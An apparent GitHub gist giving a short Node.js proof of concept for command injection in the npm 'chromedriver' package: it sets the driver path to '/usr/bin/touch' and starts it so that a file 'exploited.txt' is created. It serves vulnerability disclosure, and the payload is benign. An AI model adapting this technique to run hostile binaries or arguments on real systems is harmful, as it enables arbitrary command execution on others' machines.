Created
October 26, 2023 17:02
Package chromedriver: possible to do command injection by manipulating the arguments.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const chromedriver = require('chromedriver'); | |
const args = ['exploited.txt']; | |
const returnPromise = false; | |
chromedriver.path = '/usr/bin/touch'; | |
// This creates a local 'exploited.txt' file. | |
chromedriver.start(args, returnPromise); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment